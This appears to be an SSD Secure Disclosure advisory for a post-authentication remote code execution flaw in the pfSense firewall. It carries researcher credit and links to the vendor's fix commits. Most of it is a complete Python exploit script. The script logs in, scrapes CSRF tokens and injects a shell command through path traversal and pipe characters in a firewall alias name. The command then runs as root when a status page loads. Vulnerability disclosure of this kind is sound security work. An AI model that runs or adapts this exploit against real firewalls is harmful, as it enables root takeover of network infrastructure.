SSD Advisory – pfSense Post Auth RCE

TL;DR

A vulnerability in pfSense allows authenticated users to cause the product to execute arbitrary code – this in turn would allow an attacker to compromise the machine on which the pfSense is installed.

Vulnerability Summary

Due to the way pfSense, an open-sourced firewall, manages names of rules – an authenticated attacker that is able to modify firewall rules to cause the firewall to execute arbitrary code. The code in turn runs with elevated privileges (root) thus allowing to fully compromise the machine upon the pfSense is running on.

Credit

An independent security researcher, 이예랑 (@yelang123x), has reported this to the SSD Secure Disclosure program.

Vendor Response

The vendor has issued two fixes:

Fix 1:
https://github.com/pfsense/pfsense/commit/db0cdbc8e77a47b45a6da4061e5d8e59e0fc592d

Fix 2:
https://github.com/pfsense/pfsense/commit/4d9dd165e471394bb2ca520d56f8d8f9a82bb99a

Exploit

import requests
from bs4 import BeautifulSoup

url = 'https://x.y.z.a/'
session = requests.session()
id = input('id : ')
passwd = input('passwd : ')
cmd = input('cmd : ')  # don't allow string "/" example : echo pwn > test.php

if '/' in cmd:
    exit("'/' is not allow")


def csrf_token(url=url):
    global session
    result = session.get(url, verify=False)
    soup = BeautifulSoup(result.text, 'html.parser')
    csrf = soup.find_all(['script'])[2].decode()
    csrf_text = csrf[csrf.find('var csrfMagicToken = "') +
                     22:csrf.find('";var csrfMagicName')].split(',')
    result = csrf_text[0]+','+csrf_text[1]
    csrf_token = result
    return csrf_token


def login():
    global session
    data = {"usernamefld": id, "passwordfld": passwd,
            "login": "Sign In", "__csrf_magic": csrf_token()}
    login = session.post(url, data=data, verify=False)
    return


def add_gadget():
    global session
    add_url = url+'firewall_aliases_edit.php?tab=ip'
    data = {
        "__csrf_magic": csrf_token(),
        "name": '../../../tmp/rules.packages.|'+cmd+'|',
        "descr": "sadf",
        "type": "urltable",
        "address0": "https://webhook.site/b6106f32-216a-4242-913e-6df49228927a",
        "address_subnet0": "128",
        "detail0": "",
        "tab": "ip",
        "origname": "",
        "save": "Saved"
    }
    result = session.post(add_url, data=data, verify=False)


def run_exec():
    global session
    result = session.get(url+'/status.php')
    if (result.text.find('pfSense: Status') != -1):
        return 'sucsess'
    else:
        return 'faild'


login()
add_gadget()
print(run_exec())

Demo

?

Get in touch